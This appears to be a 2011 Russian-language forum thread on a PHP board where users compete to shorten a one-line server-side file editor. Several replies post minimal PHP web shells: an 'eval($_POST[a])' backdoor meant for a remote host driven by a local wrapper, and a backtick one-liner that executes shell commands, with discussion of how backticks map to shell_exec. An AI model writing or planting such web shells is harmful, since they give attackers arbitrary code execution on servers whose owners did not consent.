сможете уменьшить код?

Discussion in 'PHP' started by Дикс, 29 Apr 2011.

  1. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    PHP:
    <?$n='file.txt';if($_POST)file_put_contents($n,$_POST['f']);$d=file_get_contents($n)?> <form method=post><input type=text name=f value=<?=$d?>>
    вот этот код позволяет редактировать файл на сервере
    можно ли его уменьшить хоть на байт?
     
  2. OnlyOn

    OnlyOn Banned

    Joined:
    18 Oct 2010
    Messages:
    252
    Likes Received:
    89
    Reputations:
    36
    <?$n='1.txt';if($_POST)file_put_contents($n,$_POST['f']);$d=file_get_contents($n)?><form method=post><input type=text name=f value=<?=$d?>>

    во
     
  3. FindeR

    FindeR Elder - Старейшина

    Joined:
    15 Nov 2006
    Messages:
    623
    Likes Received:
    138
    Reputations:
    20
    type=text вполне можно убрать. По умолчанию будет текстовое поле
     
  4. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Дикс На удаленном хосте:
    PHP:
    <? eval($_POST[a]);
    У себя на локалхосте написать обертку, которая будет отправлять пост запросы
     
    _________________________
    1 person likes this.
  5. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Ну тогда уж вот так:
    PHP:
    <?=@`$c`?>
    Пруф: http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/
     
  6. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Tigger невозможно в явном виде выполнить пхп код, не работает без регистер_глобалс (а это очень редкий зверь)
     
    _________________________
  7. fl00der

    fl00der Moderator

    Joined:
    17 Dec 2008
    Messages:
    1,028
    Likes Received:
    310
    Reputations:
    86
    Тс как это к себе зальешь напиши УРЛ своего сайта.
     
    _________________________
    1 person likes this.
  8. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    fl00der с тем же успехом вы могли попросить пароль рута от SSH, например. Если же выдать вам урл обертки, то вы не сможете сделать ничего лишнего. Да и сомнительно, что требуется уменьшать размер скрипта на собственном хосте, такие дела
     
    _________________________
  9. OnlyOn

    OnlyOn Banned

    Joined:
    18 Oct 2010
    Messages:
    252
    Likes Received:
    89
    Reputations:
    36
    Пассивная это тема. Если не секрет. Зачем ТС уменьшать код пусть даже на 1 байт?
     
  10. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    из интереса. в данном случае я узнал о возможности выполнять код, заключенный в обратные кавычки. погуглил и нашел на хабре больше инфы:

     
  11. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Дикс в `таких` кавычках выполняется не код, а происходит вызов функции shell_exec
     
    _________________________
  12. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    я так понимаю, обратные кавычки и есть - backtick operator?
    существует ли грамотное русское название этому?

    нашел страничку о них - http://www.php.net/manual/ru/language.operators.execution.php